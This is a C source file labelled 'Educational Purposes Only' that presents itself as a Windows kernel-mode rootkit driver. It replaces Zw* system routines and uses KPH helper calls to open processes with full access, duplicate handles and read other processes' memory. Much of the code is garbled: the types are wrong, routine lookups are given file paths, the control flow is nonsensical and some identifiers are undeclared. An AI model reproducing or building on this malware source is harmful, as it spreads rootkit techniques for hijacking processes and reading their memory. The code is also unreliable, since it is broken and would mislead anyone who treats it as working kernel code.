// Educational Purposes Only // Platform: x64 #define _WIN32_WINNT 0x0600 #include "ntifs.h" #define KPH2_NTDDI KPH2_NTDDI_10_0_14393 #include "kph2.h" #include "ntstrsafe.h" #include "ntintsafe.h" #include "ntdll.h" typedef ULONG QWORD; QWORD (WINAPI *NtQuerySystemInformation_)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Out_opt_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); QWORD (WINAPI *ZwUnmapViewOfSection_)( _In_ QWORD, _In_opt_ QWORD ); QWORD (WINAPI *ZwQueryVirtualMemory_)( _In_ QWORD, _In_ QWORD, _In_ SYSTEM_INFORMATION_CLASS, _Out_ PVOID, _In_ SIZE_T, _Out_ PSIZE_T ); NTSTATUS (WINAPI *ZwClose_)( _In_ QWORD ); QWORD (WINAPI *KphOpenProcess_)( _Out_ QWORD*, _In_ QWORD, _In_ ACCESS_MASK, _In_ POBJECT_ATTRIBUTES ); QWORD (WINAPI *KphDuplicateObject_)( _In_ QWORD, _In_ QWORD, _Out_ QWORD*, _In_ ACCESS_MASK, _In_ ULONG, _In_ ULONG ); QWORD (WINAPI *KphReadVirtualMemoryUnsafe_)( _In_ QWORD, _In_ QWORD, _Out_ PVOID, _In_ SIZE_T, _Out_ PSIZE_T ); PVOID ReadMemoryUnsafe(PVOID Base, QWORD Process, QWORD Offset, SIZE_T Length, PSIZE_T ReturnLength) { PVOID Buffer = ExAllocatePool(NonPagedPool, Length); if (!Buffer) { DbgPrint("Memory allocation failure.\n"); } QWORD Result = KphReadVirtualMemoryUnsafe_(Process, PtrToUlong(Base) + Offset, Buffer, Length, ReturnLength); if (Result != S_OK) { DbgPrint("Memory read operation failed.\n"); ExFreePool(Buffer); return NULL; } return Buffer; } NTSTATUS (WINAPI *KphQuerySystemInformation_)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Out_opt_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); PVOID WINAPI NtQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Out_opt_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ) { if (SystemInformationClass == SystemExtendedHandleInformation) { return NtQuerySystemInformation_(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); } DbgPrint("SystemInformationClass - %x", SystemInformationClass); return STATUS_SUCCESS; } VOID WINAPI RtlInitUnicodeString( _Inout_ PUNICODE_STRING DestinationString, _In_opt_ PCWSTR SourceString ) { if (SourceString) { PUNICODE_STRING destinationString = DestinationString; RtlZeroMemory(destinationString, sizeof(UNICODE_STRING)); STRING* sourceString = (STRING*)SourceString; NTSTATUS status; status = RtlUnicodeStringInitEx(destinationString, sourceString->Buffer, sourceString->Length); if (!NT_SUCCESS(status)) { DbgPrint("RtlIntUnicodeString failed!\n"); } } else { DestinationString->Length = 0; DestinationString->MaximumLength = 0; DestinationString->Buffer = NULL; } } NTSTATUS WINAPI ZwCreateUserProcess( _Out_ PHANDLE ProcessHandle, _Out_ PHANDLE ThreadHandle, _In_ ACCESS_MASK ProcessDesiredAccess, _In_ ACCESS_MASK ThreadDesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, _In_ ULONG ProcessFlags, _In_ ULONG ThreadFlags, _In_opt_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, _In_ PVOID CreateInfo, _In_opt_ PVOID AttributeList ) { NTSTATUS status; status = PsCreateSystemProcess(&ProcessHandle, ProcessDesiredAccess, ProcessObjectAttributes, 0, ProcessFlags, AttributeList, 0, CreateInfo, NULL); return status; } NTSTATUS WINAPI ZwMapViewOfSection( _In_ HANDLE SectionHandle, _In_ HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _In_ ULONG_PTR ZeroBits, _In_ SIZE_T CommitSize, _Inout_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize, _In_ SECTION_INHERIT InheritDisposition, _In_ ULONG AllocationType, _In_ ULONG Win32Protect ) { NTSTATUS status; status = MmMapViewOfSection(SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, 0, Win32Protect); return status; } NTSTATUS WINAPI ZwTerminateProcess( _In_ HANDLE ProcessHandle, _In_ NTSTATUS ExitStatus ) { NTSTATUS status; status = PsTerminateProcess(ProcessHandle, ExitStatus); return status; } NTSTATUS WINAPI ZwQueryInformationProcess( _In_ HANDLE ProcessHandle, _In_ PROCESSINFOCLASS ProcessInformationClass, _Out_ PVOID ProcessInformation, _In_ ULONG ProcessInformationLength, _Out_opt_ PULONG ReturnLength ) { NTSTATUS status; status = PsQueryInformationProcess(ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength); return status; } NTSTATUS NTAPI KphReadVirtualMemoryUnsafe( _In_ QWORD ProcessHandle, _In_ QWORD BaseAddress, _Out_ PVOID Buffer, _In_ SIZE_T BufferSize, _Out_ PSIZE_T ReturnedLength ) { PVOID Base = (PVOID)BaseAddress; PSYSTEM_PROCESS_INFORMATION ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)ReadMemoryUnsafe(SystemInformation, ProcessHandle, 0, sizeof(SYSTEM_PROCESS_INFORMATION), NULL); PHARDWARE_PTE Page = NULL; if (!ProcessInfo) { DbgPrint("ProcessInfo read operation failed.\n"); } else { PRTL_INVERTED_FUNCTION_TABLE_ENTRY_HEAD InvertedFunctionTable = ProcessInfo->UniqueProcessId; PRTL_INVERTED_FUNCTION_TABLE Entry = NULL; if (InvertedFunctionTable == -2) { DbgPrint("-2 check failed\n"); } else { if (!(InvertedFunctionTable == -1)) { Entry = (PRTL_INVERTED_FUNCTION_TABLE)(InvertedFunctionTable->EntryCount << 3); PVOID Base = ProcessInfo->BaseAddress; PVOID Table = InvertedFunctionTable; ProcessInfo = Entry; if (!ProcessInfo) { return FALSE; } if (Page == NULL) { Page = PsGetCurrentProcess(); } } InvertedFunctionTable = ProcessInfo; } if (Page) { return FALSE; } } ProcessInfo = NtCurrentProcess(); if (ProcessInfo) { return FALSE; } ProcessInfo = NULL; if (ProcessInfo == -1) { DbgPrint("InvertedFunctionTable is -1.\n"); return FALSE; } else { return TRUE; } } QWORD WINAPI ZwUnmapViewOfSectionEx( _In_ QWORD SectionHandle, _In_opt_ QWORD ProcessHandle, _In_opt_ QWORD BaseAddress, _In_opt_ QWORD ZeroBits, _In_opt_ QWORD RegionSize ) { QWORD Irp, DeviceObject, FileObject; OBJECT_ATTRIBUTES fileAttributes; UNICODE_STRING path; PVOID buffer; SIZE_T returned; if (SectionHandle) { RtlInitUnicodeString(&path, L"\\DosDevices\\C:\\Windows\\System32\\win32kfull.sys"); InitializeObjectAttributes(&fileAttributes, &path, OBJ_CASE_INSENSITIVE, NULL, NULL); KphOpenProcess_(&ProcessHandle, ProcessAllAccess, &fileAttributes); KphDuplicateObject_(&ProcessHandle, SectionHandle, &SectionHandle, 0, 0, DUPLICATE_SAME_ACCESS); buffer = ExAllocatePool(NonPagedPool, 0x400); KphReadVirtualMemoryUnsafe_(&SectionHandle, 0, buffer, 0x400, &returned); if (!buffer) { DbgPrint("SectionHandle buffer is NULL.\n"); } } return STATUS_SUCCESS; } NTSTATUS WINAPI ZwDuplicateObject( _In_ HANDLE SourceProcessHandle, _In_ HANDLE SourceHandle, _In_ HANDLE TargetProcessHandle, _Out_ PHANDLE TargetHandle, _In_ ACCESS_MASK DesiredAccess, _In_ ULONG HandleAttributes, _In_ ULONG Options ) { NTSTATUS status; status = ObDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, TargetHandle, DesiredAccess, HandleAttributes, Options); return status; } NTSTATUS WINAPI ZwQueryVirtualMemory( _In_ HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress, _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, _Out_ PVOID MemoryInformation, _In_ SIZE_T MemoryInformationLength, _Out_ PSIZE_T ReturnLength ) { NTSTATUS status; status = ZwQueryVirtualMemory_(ProcessHandle, BaseAddress, MemoryInformationClass, MemoryInformation, MemoryInformationLength, ReturnLength); return status; } NTSTATUS WINAPI ZwOpenProcess( _Out_ PHANDLE ProcessHandle, _In_ ACCESS_MASK AccessMask, _In_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ PCLIENT_ID ClientId ) { NTSTATUS status = STATUS_SUCCESS; if (ClientId->UniqueProcess & 0xfff && AccessMask & ProcessQueryLimitInformation) { return STATUS_ACCESS_DENIED; } status = ObOpenObjectByPointer(ClientId->UniqueProcess, OBJ_KERNEL_HANDLE, NULL, AccessMask, *PsProcessType, KernelMode, ProcessHandle); return status; } NTSTATUS WINAPI ZwClose( _In_ HANDLE Handle ) { NTSTATUS status; status = ObCloseHandle(Handle, KernelMode); return status; } VOID DriverUnload(PDRIVER_OBJECT DriverObject) { DbgPrint("Rootkit unloaded.\n"); PsTerminateSystemThread(STATUS_SUCCESS); } NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNICODE_STRING ntdllName; UNICODE_STRING ntdllPath; UNICODE_STRING kphName; UNICODE_STRING kphPath; RtlInitUnicodeString(&ntdllName, L"ntdll.dll"); RtlInitUnicodeString(&ntdllPath, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); RtlInitUnicodeString(&kphName, L"kph2.dll"); RtlInitUnicodeString(&kphPath, L"\\??\\C:\\Windows\\System32\\kph2.dll"); NtQuerySystemInformation_ = MmGetSystemRoutineAddress(&ntdllName); ZwUnmapViewOfSection_ = MmGetSystemRoutineAddress(&ntdllPath); ZwQueryVirtualMemory_ = MmGetSystemRoutineAddress(&ntdllPath); ZwClose_ = MmGetSystemRoutineAddress(&ntdllPath); KphOpenProcess_ = MmGetSystemRoutineAddress(&kphName); KphDuplicateObject_ = MmGetSystemRoutineAddress(&kphName); KphReadVirtualMemoryUnsafe_ = MmGetSystemRoutineAddress(&kphName); KphQuerySystemInformation_ = MmGetSystemRoutineAddress(&kphName); DbgPrint("Rootkit loaded.\n"); DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; }